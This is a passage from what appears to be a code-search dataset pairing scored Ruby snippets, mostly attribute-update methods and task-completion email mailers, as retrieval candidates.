@dirty[property] = nil\n @attributes[:copied][property] = NOT_SET\n end\n self.class.repository_or_fail.insert(RDF::Statement.new(@subject, RDF.type, type)) unless type.nil?\n end", "title": "" }, { "docid": "210886bcfd68fae88847f8b3464d4058", "score": "0.6325362", "text": "def update_properties!(scraper)\n log \"Updating assets for #{self.slug}\"\n# only update active properties\n Property.where(source_id: self.id, status: 1).find_each do |prop|\n begin\n scraper.update_property(prop)\n rescue Exception => e\n log \"there was a connection error #{e.message} - #{e.class}\"\n end\n end\n end", "title": "" }, { "docid": "da63345424fc9aecef032928485bd149", "score": "0.6319025", "text": "def update\n \n end", "title": "" }, { "docid": "749afa4ff068e21c7d78bbad94c19d6c", "score": "0.6313444", "text": "def update!(attributes); end", "title": "" }, { "docid": "e8639be61ed6393bc612a8aef27789d3", "score": "0.6312355", "text": "def update!(**args)\n @border = args[:border] if args.key?(:border)\n @fields = args[:fields] if args.key?(:fields)\n @object_id_prop = args[:object_id_prop] if args.key?(:object_id_prop)\n end", "title": "" }, { "docid": "6284f332cbe8c998b16d5e816c5d21ed", "score": "0.6291622", "text": "def update!(**args)\n @display_name = args[:display_name] if args.key?(:display_name)\n @parent = args[:parent] if args.key?(:parent)\n @property = args[:property] if args.key?(:property)\n @property_type = args[:property_type] if args.key?(:property_type)\n end", "title": "" }, { "docid": "6284f332cbe8c998b16d5e816c5d21ed", "score": "0.6291622", "text": "def update!(**args)\n @display_name = args[:display_name] if args.key?(:display_name)\n @parent = args[:parent] if args.key?(:parent)\n @property = args[:property] if args.key?(:property)\n @property_type = args[:property_type] if args.key?(:property_type)\n end", "title": "" }, { "docid": "5a8e82caac01cee661bc875a5b0cf723", "score": "0.6283673", "text": "def refresh\n set_attributes\n end", "title": "" }, { "docid": "9e076ce17f1607b2a6248469b63b9c05", "score": "0.62797445", "text": "def training_updated_properties=(value)\n @training_updated_properties = value\n end", "title": "" }, { "docid": "309d8f89c45737b781ca7c15a61b00a5", "score": "0.6273536", "text": "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @size_bytes = args[:size_bytes] if args.key?(:size_bytes)\n end", "title": "" }, { "docid": "309d8f89c45737b781ca7c15a61b00a5", "score": "0.6273536", "text": "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @size_bytes = args[:size_bytes] if args.key?(:size_bytes)\n end", "title": "" }, { "docid": "60d8c4f58de490a0d7cdd918c16a2cce", "score": "0.6269463", "text": "def update(attrs)\n @attrs.update(attrs)\n self\n end", "title": "" }, { "docid": "60d8c4f58de490a0d7cdd918c16a2cce", "score": "0.6269463", "text": "def update(attrs)\n @attrs.update(attrs)\n self\n end", "title": "" }, { "docid": "60d8c4f58de490a0d7cdd918c16a2cce", "score": "0.6269463", "text": "def update(attrs)\n @attrs.update(attrs)\n self\n end", "title": "" }, { "docid": "60d8c4f58de490a0d7cdd918c16a2cce", "score": "0.6269463", "text": "def update(attrs)\n @attrs.update(attrs)\n self\n end", "title": "" }, { "docid": "7a41bc9d5a07220fb8626d1fa90d2d79", "score": "0.62639254", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n @source = args[:source] if args.key?(:source)\n end", "title": "" }, { "docid": "f88ac8dac0e7b4769636f755e65a14ba", "score": "0.6261997", "text": "def update!(**args)\n @fields = args[:fields] if args.key?(:fields)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "f88ac8dac0e7b4769636f755e65a14ba", "score": "0.6261997", "text": "def update!(**args)\n @fields = args[:fields] if args.key?(:fields)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "f88ac8dac0e7b4769636f755e65a14ba", "score": "0.6261997", "text": "def update!(**args)\n @fields = args[:fields] if args.key?(:fields)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "f88ac8dac0e7b4769636f755e65a14ba", "score": "0.6261997", "text": "def update!(**args)\n @fields = args[:fields] if args.key?(:fields)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "f88ac8dac0e7b4769636f755e65a14ba", "score": "0.6261997", "text": "def update!(**args)\n @fields = args[:fields] if args.key?(:fields)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "f88ac8dac0e7b4769636f755e65a14ba", "score": "0.6261997", "text": "def update!(**args)\n @fields = args[:fields] if args.key?(:fields)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "afd53a32bf51a2ff3c438cbf011b1ee6", "score": "0.6261246", "text": "def update!\n saved = false\n retries = RETRIES\n while !saved\n begin\n res = Persistence::Setup.db.save_doc(@properties)\n @properties = Persistence::Setup.db.get(res['id'])\n saved = true\n rescue Exception => ex\n raise ex if ex.http_code != 409\n if(retries > 0)\n @new_properties = Persistence::Setup.db.get(@properties['_id'])\n @properties.each_pair do |k,v|\n if k != \"_rev\" && k != \"_id\"\n @new_properties[k] = v\n end\n end\n @properties = @new_properties\n else\n raise ex\n end\n end\n end\n :ok\n end", "title": "" }, { "docid": "118090da310d688caa13dea348732f3c", "score": "0.62579167", "text": "def update(attributes={})\n self.class.update(self, attributes)\n end", "title": "" }, { "docid": "91dc386ff8fa066852510a5d62b13078", "score": "0.62170374", "text": "def update(attrs)\n @attrs ||= {}\n @attrs.update(attrs)\n self\n end", "title": "" }, { "docid": "91dc386ff8fa066852510a5d62b13078", "score": "0.62170374", "text": "def update(attrs)\n @attrs ||= {}\n @attrs.update(attrs)\n self\n end", "title": "" }, { "docid": "6249943d1eeff63f8f611fcf73254058", "score": "0.62152076", "text": "def update\n \n end", "title": "" }, { "docid": "1c12f310aca206a2cefff8c291007668", "score": "0.6210263", "text": "def update!(**args)\n @property = args[:property] if args.key?(:property)\n @schema = args[:schema] if args.key?(:schema)\n end", "title": "" }, { "docid": "3dfb66c3e13f181393bb4510e9fcd51f", "score": "0.62083745", "text": "def set_update(attrs = {})\n @movement.attributes = attrs.slice(*attributes_for_update)\n set_details\n\n @movement.balance = get_updated_balance\n @movement.gross_total = original_total\n @movement.set_state_by_balance!\n @movement.discounted = ( discount > 0 )\n\n @movement.balance_inventory = balance_inventory\n @movement.delivered = @movement.details.all? {|v| v.balance <= 0}\n\n @errors.new(movement).set_errors\n end", "title": "" }, { "docid": "1c0316f22c6db917fa4719767b5326a9", "score": "0.6204041", "text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @options = args[:options] if args.key?(:options)\n @property_definitions = args[:property_definitions] if args.key?(:property_definitions)\n end", "title": "" }, { "docid": "5d229ea224b1dfa7ac9ce6808ca63fc4", "score": "0.62017816", "text": "def update(attributes = {})\n super(attributes)\n retrieve!\n self\n end", "title": "" }, { "docid": "6992c0833b982296b329ec1d8c7289de", "score": "0.6201711", "text": "def update(attributes = {})\n self.attributes = attributes\n _update\n end", "title": "" }, { "docid": "2beb42793217599eea1dac4b91640e41", "score": "0.6196084", "text": "def update_attributes\n server_update_data.each_pair do |key, value|\n instance_variable_set(\"@#{key}\", value)\n end\n end", "title": "" }, { "docid": "67f76e6622d1021031437ad609613c63", "score": "0.6192824", "text": "def update(obj)\n obj.each_pair do |key, value|\n send(\"#{key}=\", value)\n end\n self\n end", "title": "" }, { "docid": "30aa07725af2114280d6e8f916ab079f", "score": "0.6183338", "text": "def update!\n\t\t\tconstruct!(self, &@update)\n\t\t\t@update = nil\n\t\t\t\n\t\t\treturn self\n\t\tend", "title": "" }, { "docid": "f1f71f298690a3bd1f5832b15038d8bb", "score": "0.6174291", "text": "def updated_properties\n @updated_properties ||= ActiveSupport::HashWithIndifferentAccess.new\n end", "title": "" }, { "docid": "e1f766468b11768b786daa133483b157", "score": "0.61730784", "text": "def update\n raise NotImplementedError\n end", "title": "" }, { "docid": "ed1b58af16fd466e308ffc9229115e36", "score": "0.6145399", "text": "def update_attributes(params)\n raise(RHapi::AttributeError, \"The params must be a hash.\") unless params.is_a?(Hash)\n params.each do |name, value|\n self.properties.send(name.to_s + '=', value)\n end\n save # only call API once rather than repeatedly saving with update_attribute calls\n end", "title": "" }, { "docid": "ed1b58af16fd466e308ffc9229115e36", "score": "0.6145399", "text": "def update_attributes(params)\n raise(RHapi::AttributeError, \"The params must be a hash.\") unless params.is_a?(Hash)\n params.each do |name, value|\n self.properties.send(name.to_s + '=', value)\n end\n save # only call API once rather than repeatedly saving with update_attribute calls\n end", "title": "" }, { "docid": "147d62c4df79ff1ca86cbd477112bf7f", "score": "0.61445665", "text": "def update\n end", "title": "" }, { "docid": "147d62c4df79ff1ca86cbd477112bf7f", "score": "0.61445665", "text": "def update\n end", "title": "" }, { "docid": "147d62c4df79ff1ca86cbd477112bf7f", "score": "0.61445665", "text": "def update\n end", "title": "" }, { "docid": "7f11aed7030229ef429116ccba78c00f", "score": "0.61400205", "text": "def update_properties\n # t_init = 0, t_mod = 0, t_formula = 0, t_formula_mod = 0, t_post_init = 0\n # t_update_properties = Benchmark.measure do\n # Reset values for everything except formulas\n # t_init = Benchmark.measure do\n character_properties.reject { |p| p.is_a?(CharacterFormula) }.each do |p|\n p.init(self)\n end\n # end\n\n # Apply modifiers to attributes, skills and resistances (formulas later)\n mods = []\n # t_mod = Benchmark.measure do\n mods << race.property_modifiers if race\n mods << birthsign.property_modifiers if birthsign\n mods.flatten!\n mods.reject { |m| m.property.is_a?(Formula) }.each(&method(:apply_modifier))\n # end\n\n # Now start to process formulas\n # t_formula = Benchmark.measure do\n character_properties.select { |p| p.is_a?(CharacterFormula) }.each do |f|\n f.init(self)\n end\n # end\n\n # Apply modifiers to formulas\n # t_formula_mod = Benchmark.measure do\n mods.select { |m| m.property.is_a?(Formula) }.each(&method(:apply_modifier))\n # end\n\n # t_post_init = Benchmark.measure do\n character_properties.each do |prop|\n prop.post_init(self)\n end\n # end\n # end\n\n # logger.warn(\"## Init: #{(t_init.real*1000).to_i}ms\")\n # logger.warn(\"## Mofifiers: #{(t_mod.real*1000).to_i}ms\")\n # logger.warn(\"## Formula: #{(t_formula.real*1000).to_i}ms\")\n # logger.warn(\"## Formula Modifiers: #{(t_formula_mod.real*1000).to_i}ms\")\n # logger.warn(\"## Post Init: #{(t_post_init.real*1000).to_i}ms\")\n # logger.warn(\"### Update Properties: #{(t_update_properties.real*1000).to_i}ms\")\n end", "title": "" }, { "docid": "22a21a1959eeb926dfe475d8878239d7", "score": "0.6127356", "text": "def update\n connection.put(singleton_path(prefix_options), encode, self.class.headers).tap do |response|\n load_attributes_from_response(response)\n end\n end", "title": "" } ]
2a97a0a2bdbce8e51ab9647518bd8c17
this method can be made better
[ { "docid": "04e71600be1f10b48a8efd8c5e59ddac", "score": "0.0", "text": "def adjust_stats(game, removed_item=nil)\n\t\tarray = [@armor_head, @armor_neck, @armor_body, @armor_arms, @armor_hands, @armor_legs, @armor_feet, @weapon]\n\t\tif removed_item == nil\n\t\t\tarray.each do |item|\n\t\t\t\tif item.is_a?(Armor)\n\t\t\t\t\t@armor += item.armor_value\n\t\t\t\telsif item.is_a?(Weapon)\n\t\t\t\t\t@damage += item.weapon_damage\n\t\t\t\t\t@attack_speed += item.weapon_speed\n\t\t\t\telse\n\t\t\t\t\t# do stuff\n\t\t\t\tend\n\n\t\t\t\tif item.respond_to?(:bonus_strength)\n\t\t\t\t\t@strength += item.bonus_strength\n\t\t\t\t\t@dexterity += item.bonus_dexterity\n\t\t\t\t\t@agility += item.bonus_agility\n\t\t\t\t\t@intellect += item.bonus_intellect\n\t\t\t\t\t@constitution += item.bonus_constitution\n\t\t\t\t\t@wisdom += item.bonus_wisdom\n\t\t\t\t\t@charisma += item.bonus_charisma\n\t\t\t\telse\n\t\t\t\t\t# do stuff\n\t\t\t\tend\n\t\t\tend\n\n\t\telsif removed_item.is_a?(Item)\n\n\t\t\tif removed_item.is_a?(Armor)\n\t\t\t\t@armor -= removed_item.armor_value\n\t\t\telsif removed_item.is_a?(Weapon)\n\t\t\t\t@damage -= removed_item.weapon_damage\n\t\t\t\t@attack_speed -= removed_item.weapon_speed\n\t\t\telse\n\t\t\t\t# do stuff\n\t\t\tend\n\n\t\t\tif removed_item.respond_to?(:bonus_strength)\n\t\t\t\t@strength -= removed_item.bonus_strength\n\t\t\t\t@dexterity -= removed_item.bonus_dexterity\n\t\t\t\t@agility -= removed_item.bonus_agility\n\t\t\t\t@intellect -= removed_item.bonus_intellect\n\t\t\t\t@constitution -= removed_item.bonus_constitution\n\t\t\t\t@wisdom -= removed_item.bonus_wisdom\n\t\t\t\t@charisma -= removed_item.bonus_charisma\n\t\t\telse\n\t\t\t\t# do stuff\n\t\t\tend\n\n\t\telse\n\t\t\t# do stuff\n\t\tend\n\t\tgame.adjust_stat_labels(@strength, @dexterity, @agility, @intellect, @constitution, @wisdom, @charisma, @armor, @damage, @attack_speed)\n\tend", "title": "" } ]
[ { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.60469383", "text": "def bodystmt; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.60469383", "text": "def bodystmt; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.60469383", "text": "def bodystmt; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.60469383", "text": "def bodystmt; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.60469383", "text": "def bodystmt; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.60469383", "text": "def bodystmt; end", "title": "" }, { "docid": "3ae137b1a40ff3aae4f3cbb2b6082797", "score": "0.60213304", "text": "def reaper; end", "title": "" }, { "docid": "b6b2bcc0062aeb115edab7b10cbe6930", "score": "0.5994332", "text": "def desired; end", "title": "" }, { "docid": "4fe655da88e61d28e8b9a9ed964af838", "score": "0.59402984", "text": "def imprensa\n\t\t\n\tend", "title": "" }, { "docid": "1151221aa9457e5cad317e4fec922758", "score": "0.59288704", "text": "def adjugate; end", "title": "" }, { "docid": "a9dd648a5d0d2e7d56223e7c753f5e2e", "score": "0.592718", "text": "def telegraphical()\n end", "title": "" }, { "docid": "bc658f9936671408e02baa884ac86390", "score": "0.5895579", "text": "def anchored; end", "title": "" }, { "docid": "67081eb3c98dc9ab87bd978f73a10e81", "score": "0.5746304", "text": "def advanced; end", "title": "" }, { "docid": "67081eb3c98dc9ab87bd978f73a10e81", "score": "0.5746304", "text": "def advanced; end", "title": "" }, { "docid": "7ec57c3874853e50086febdbdd3221bf", "score": "0.5744608", "text": "def wedding; end", "title": "" }, { "docid": "33e1db3c06643dd523dcc31fccf3a005", "score": "0.57210326", "text": "def used; end", "title": "" }, { "docid": "33e1db3c06643dd523dcc31fccf3a005", "score": "0.57210326", "text": "def used; end", "title": "" }, { "docid": "0939406b2108b4dcfeb32a0ce912e9dd", "score": "0.571341", "text": "def\thustle \t \t\r\n\t\tend", "title": "" }, { "docid": "fa686cdf1942762f7041d1fb7b0aacb0", "score": "0.56874514", "text": "def comofunciona\n\t\t\n\tend", "title": "" }, { "docid": "3caf4c824a6d6a4a5616c13fcab418da", "score": "0.56807715", "text": "def applied; end", "title": "" }, { "docid": "04e074efc99de627ea58633a58870ec3", "score": "0.5676824", "text": "def stpreason\n end", "title": "" }, { "docid": "954c5828178f6e4a659c40ef92736547", "score": "0.56132954", "text": "def helpful!\n\n\t\tend", "title": "" }, { "docid": "2dbabd0eeb642c38aad852e40fc6aca7", "score": "0.5605805", "text": "def operations; end", "title": "" }, { "docid": "2dbabd0eeb642c38aad852e40fc6aca7", "score": "0.5605805", "text": "def operations; end", "title": "" }, { "docid": "3fe16723cfe073a33d3a2398f331e395", "score": "0.5568408", "text": "def transformations; end", "title": "" }, { "docid": "3fe16723cfe073a33d3a2398f331e395", "score": "0.5568408", "text": "def transformations; end", "title": "" }, { "docid": "a18186567d58d46fbcb43c48faf2ab4b", "score": "0.5565207", "text": "def apply\n\t\t\n\tend", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5534928", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5534928", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5534928", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5534928", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5534928", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5534928", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5534928", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5534928", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5534928", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5534928", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5534928", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5534928", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5534928", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5534928", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5534928", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5534928", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5534928", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5534928", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5534928", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5534928", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5534928", "text": "def parts; end", "title": "" }, { "docid": "e28593026497a2baf9c546a2da299bf7", "score": "0.5528655", "text": "def nonstpreason\nend", "title": "" }, { "docid": "ce60a3aa5d454e320f0be817965a315f", "score": "0.55250835", "text": "def enharmonics\n \n end", "title": "" }, { "docid": "da32862891e2ebc3c8d71f65524bb4c1", "score": "0.5505131", "text": "def prosa\n end", "title": "" }, { "docid": "da32862891e2ebc3c8d71f65524bb4c1", "score": "0.5505131", "text": "def prosa\n end", "title": "" }, { "docid": "2811397aefca145cecd731fd0748b1e6", "score": "0.5453897", "text": "def preparable; end", "title": "" }, { "docid": "2811397aefca145cecd731fd0748b1e6", "score": "0.5453897", "text": "def preparable; end", "title": "" }, { "docid": "2811397aefca145cecd731fd0748b1e6", "score": "0.5453897", "text": "def preparable; end", "title": "" }, { "docid": "2811397aefca145cecd731fd0748b1e6", "score": "0.5453897", "text": "def preparable; end", "title": "" }, { "docid": "2fbd1141a5d3803251f00ea5c01e38ba", "score": "0.5443315", "text": "def extract; end", "title": "" }, { "docid": "2fbd1141a5d3803251f00ea5c01e38ba", "score": "0.5443315", "text": "def extract; end", "title": "" }, { "docid": "549cdd4767cacb4029e22f746ccd68b5", "score": "0.54422593", "text": "def work; end", "title": "" }, { "docid": "3d45e3d988480e2a6905cd22f0936351", "score": "0.5441675", "text": "def for; end", "title": "" }, { "docid": "3d45e3d988480e2a6905cd22f0936351", "score": "0.5441675", "text": "def for; end", "title": "" }, { "docid": "3d45e3d988480e2a6905cd22f0936351", "score": "0.5441675", "text": "def for; end", "title": "" }, { "docid": "54a53621e5fd3fc0cc3d2ff2901a893e", "score": "0.54291797", "text": "def chazelle\n end", "title": "" }, { "docid": "54f970ee5768d76a8818f20a25600939", "score": "0.54039866", "text": "def looping", "title": "" }, { "docid": "26da328e8cf814fdc197fd2d301c3d2b", "score": "0.5383986", "text": "def flipx\r\n end", "title": "" }, { "docid": "5928f8efe9c6c2d408ea21a4cdce83ad", "score": "0.5377697", "text": "def preliminary?; end", "title": "" }, { "docid": "e44ae2cef169d29f78b2b6306add59da", "score": "0.5359972", "text": "def huddlingly()\n end", "title": "" }, { "docid": "58e2e07d11b107b6864a328f2187e248", "score": "0.53597987", "text": "def apop?; end", "title": "" }, { "docid": "66627177646d1ceb9f70d9440a719501", "score": "0.53474516", "text": "def order; end", "title": "" }, { "docid": "f53478c78bfb65847a5452ef55a4e8ef", "score": "0.53436154", "text": "def transforms; end", "title": "" }, { "docid": "5ffd4221c0adbb90a19d26836dc1440b", "score": "0.5333048", "text": "def parter; end", "title": "" }, { "docid": "d509f8cefdd8fc87fefabff3705478b5", "score": "0.5325156", "text": "def custom\n \n end", "title": "" }, { "docid": "7477f36427db1eed71e3d1fe5ae5eb83", "score": "0.5322598", "text": "def manuver\n\tend", "title": "" }, { "docid": "a606ff314b37ba47be08b757ff538b5e", "score": "0.5319398", "text": "def processor; end", "title": "" }, { "docid": "a606ff314b37ba47be08b757ff538b5e", "score": "0.5319398", "text": "def processor; end", "title": "" }, { "docid": "18dccc4e509a937b27ab700928bdba8e", "score": "0.53156054", "text": "def helper; end", "title": "" }, { "docid": "18dccc4e509a937b27ab700928bdba8e", "score": "0.53156054", "text": "def helper; end", "title": "" }, { "docid": "18dccc4e509a937b27ab700928bdba8e", "score": "0.53156054", "text": "def helper; end", "title": "" }, { "docid": "bfc59ba4069006df84cd4e7d17c175e6", "score": "0.5314264", "text": "def first_fixed; end", "title": "" }, { "docid": "456acb6fbbfa8d19490feed3f145af4e", "score": "0.53040564", "text": "def deco_pos; end", "title": "" }, { "docid": "8d0e128ad87cd20a86507c09c46a6f67", "score": "0.53001946", "text": "def termitidae()\n end", "title": "" }, { "docid": "a3c677de4120a6b1a1688fb1c77520ce", "score": "0.52905697", "text": "def pos; end", "title": "" }, { "docid": "a3c677de4120a6b1a1688fb1c77520ce", "score": "0.52905697", "text": "def pos; end", "title": "" }, { "docid": "a3c677de4120a6b1a1688fb1c77520ce", "score": "0.52905697", "text": "def pos; end", "title": "" }, { "docid": "a3c677de4120a6b1a1688fb1c77520ce", "score": "0.52905697", "text": "def pos; end", "title": "" }, { "docid": "a3c677de4120a6b1a1688fb1c77520ce", "score": "0.52905697", "text": "def pos; end", "title": "" }, { "docid": "794a198d95cf296afde54486d8c4e262", "score": "0.5272456", "text": "def avail_out=(*) end", "title": "" }, { "docid": "a747cf4388fb3d14718cf9dda73c555f", "score": "0.52678347", "text": "def initalize; end", "title": "" }, { "docid": "a747cf4388fb3d14718cf9dda73c555f", "score": "0.52678347", "text": "def initalize; end", "title": "" }, { "docid": "005e6fc140cba1f79535dcb415d4bcd9", "score": "0.52675086", "text": "def strategy; end", "title": "" }, { "docid": "005e6fc140cba1f79535dcb415d4bcd9", "score": "0.52675086", "text": "def strategy; end", "title": "" }, { "docid": "8d1d77531cce0d12539ad149eebad454", "score": "0.5251122", "text": "def sub_from; end", "title": "" }, { "docid": "3660c5f35373aec34a5a7b0869a4a8bd", "score": "0.5242483", "text": "def implementation; end", "title": "" }, { "docid": "3660c5f35373aec34a5a7b0869a4a8bd", "score": "0.5242483", "text": "def implementation; end", "title": "" }, { "docid": "3660c5f35373aec34a5a7b0869a4a8bd", "score": "0.5242483", "text": "def implementation; end", "title": "" }, { "docid": "3660c5f35373aec34a5a7b0869a4a8bd", "score": "0.5242483", "text": "def implementation; end", "title": "" }, { "docid": "3660c5f35373aec34a5a7b0869a4a8bd", "score": "0.5242483", "text": "def implementation; end", "title": "" }, { "docid": "ae88f2d1f21ed1148839dcc26cb0e7e1", "score": "0.52401024", "text": "def preprocessing\n end", "title": "" }, { "docid": "2290804b238fc95bfd6b38f87c6d2895", "score": "0.5218155", "text": "def override; end", "title": "" }, { "docid": "7c4e6912cde56a7ef38385e785b83259", "score": "0.5212783", "text": "def position; end", "title": "" }, { "docid": "7c4e6912cde56a7ef38385e785b83259", "score": "0.5212783", "text": "def position; end", "title": "" } ]
c3619a4256cd2938fc98c0ddb21ddda0
Sends an email when an assigned task is marked complete
[ { "docid": "d6835cc4e24058102d5fb35f27794dc8", "score": "0.81976664", "text": "def task_completed(user, task)\n @user = user\n @task = task\n \n mail(:to => user.email, :subject => \"Your task has been completed\")\n end", "title": "" } ]
[ { "docid": "b8df96f2ddae27b542ba70afaaf5a4c9", "score": "0.8148636", "text": "def task_finished(task)\n @task = task\n @user = User.find(@task.user_id)\n mail(:to => @user.email, :subject => \"Your task has completed\")\n end", "title": "" }, { "docid": "55ce55756d85491a6bf2bda0a1a63a49", "score": "0.79773223", "text": "def completed (task,user)\n @task = task\n @user = user\n\n mail to: \"#{task.project.client.email}\", cc: \"#{user.email}\", subject: \"#{task.title} has been completed!\"\n end", "title": "" }, { "docid": "75471fdb91eff9d8a872a230a36ca330", "score": "0.77321255", "text": "def task_assigned(user, task)\n @user = user\n @task = task\n \n mail(:to => user.email, :subject => \"A task has been assigned to you\") \n end", "title": "" }, { "docid": "0e17e61237da79afa55b23f9326bf3c3", "score": "0.77114224", "text": "def mark_complete(task)\n users = Project.find_by_id(@task.projectid).allshares.split(\",\")\n task.datecomplete = DateTime.now\n task.save!\n users.each do |user|\n us = User.find_by_id(user)\n if us && us.id != session[:userid]\n message = \"The task \" + task.name + \" has been marked complete.\"\n subject = task.name + \" is complete\"\n Notification.send_notifications_to_user(subject, message, @task.projectid, us.id)\n\n end\n end\n end", "title": "" }, { "docid": "6629a910caddd2dd3b5ead3c8549fcdc", "score": "0.7423141", "text": "def complete_task \n\t\tproject = @task.project\n @data[:task_type] = @task.class.to_s.downcase\n\t\t@data[:task_name] = @task.title\n\t\t@data[:project_name] = project.title\n\t\t@data[:task_owner] = @task.assigned_to.try(:full_name)\n\t\t@data[:task_approver] = @task.approver.try(:full_name)\n @data[:tasks_link] = \"#{ENV['DOMAIN']}/#/app/projects/#{project.id}/tasks\"\n @data[:recipient_names] = recipient_names\n\t if @user_task.re_issued?\n \t\t@template_slug = APOSTLE_MAIL_TEMPLATE_SLUG[:complete_reassigned_task] #Complete re-issued Action/Document - Task Owner\n\t\telse\t\n\t\t\t@template_slug = APOSTLE_MAIL_TEMPLATE_SLUG[:complete_new_task] # Complete Action/Document - Task Owner\n\t\tend\n if (@task.class.to_s == \"Action\")\n @attachments = @task.attachments\n\t\tend\n\t\ttrigger_mail\n\tend", "title": "" }, { "docid": "0258bfa885ea78b53706ff7deb358aa1", "score": "0.728196", "text": "def complete\n affected = Task.where(id: params[:task_ids]).update_all(completed: true)\n\n if affected > 0\n @activity = PublicActivity::Activity.create key: \"task.complete\", parameters: { affected: affected }, owner: current_user\n @activity.mark_as_read! for: current_user\n PushNotificationService.new(current_user.id, current_tenant.id).push @activity, :add\n end\n\n respond_to do |format|\n format.html { redirect_to tasks_url, notice: 'Aufgaben erfolgreich als erledigt markiert.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2dfeb0a21537807739cb5bb945f0f9eb", "score": "0.71506345", "text": "def task_assigned(recipient, assignment, task)\n @task = task\n @root_url = root_url\n if @task.form || @task.form_group\n @form = @task.form ? @task.form : assignment.form\n @url = form_complete_url(@form, :auth_token => recipient.authentication_token, :task_id => @task.id)\n end\n\n mail(\n :to => recipient.email,\n :from => \"athletics@scoutforce.com\",\n :subject => \"You have been assigned a task on ScoutForce\"\n ) do |format|\n format.html { render :layout => true }\n end\n end", "title": "" }, { "docid": "d97b7287154f6126310efceca95b4079", "score": "0.7023332", "text": "def no_email_complete\n Task.transaction do\n task.complete!(status: Task.completion_status_code(:special_issue_not_emailed))\n task.update_claim_establishment!\n end\n\n render json: {}\n end", "title": "" }, { "docid": "c95dac21b442dede2d3c8ad240b5883c", "score": "0.701855", "text": "def email_on_complete\n count = options['email_me']\n return unless count && count > 0\n if Document.owned_by(document.account).pending.count == 0\n LifecycleMailer.documents_finished_processing(document.account, count).deliver_now\n end\n end", "title": "" }, { "docid": "6d204087fe85f2db2c8e0782ed6b4141", "score": "0.69682664", "text": "def perform(email)\n CompletionMailer.notify_admin_completion(email).deliver_now\n end", "title": "" }, { "docid": "4f863ff864f207cccef15185c50b2618", "score": "0.6950528", "text": "def complete\n @task.task_completed\n @task.update_completed_at\n redirect_to task_path(@task.id)\n end", "title": "" }, { "docid": "c5cdb30ee3d12c5e8cdf00428240a51e", "score": "0.6936662", "text": "def completed\n SignaturesMailer.completed\n end", "title": "" }, { "docid": "91933ebb9ab197d81dc5e6d5e6847be9", "score": "0.6874572", "text": "def completed\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end", "title": "" }, { "docid": "376c1c98e218d4bd67c206d598903df5", "score": "0.67696047", "text": "def complete!\n self.update_attribute(:is_completed, true)\n # TODO: send an email to teacher about taks completion\n end", "title": "" }, { "docid": "b0efe9b61a9d9de72765501cfc3f5ddf", "score": "0.6731773", "text": "def incompleted_task\n Notification.incompleted_task\n end", "title": "" }, { "docid": "c2436334d6bf2a8a49e126f092ef340b", "score": "0.6731195", "text": "def incomplete!\n self.update_attribute(:is_completed, false)\n # TODO: send an email to teacher about tasks reopening\n end", "title": "" }, { "docid": "191a53fbb3ed26fddc40d9c7c1adc1b3", "score": "0.67007846", "text": "def mark_task_complete\n system \"clear\"\n # If task was set\n\n loop do\n task = get_task_choice(\"mark complete\")\n if task && task != :back\n task.status = :completed\n\n system \"clear\"\n display_tasks(:completed)\n display_tasks(:failed)\n\n # Cancel notifications\n 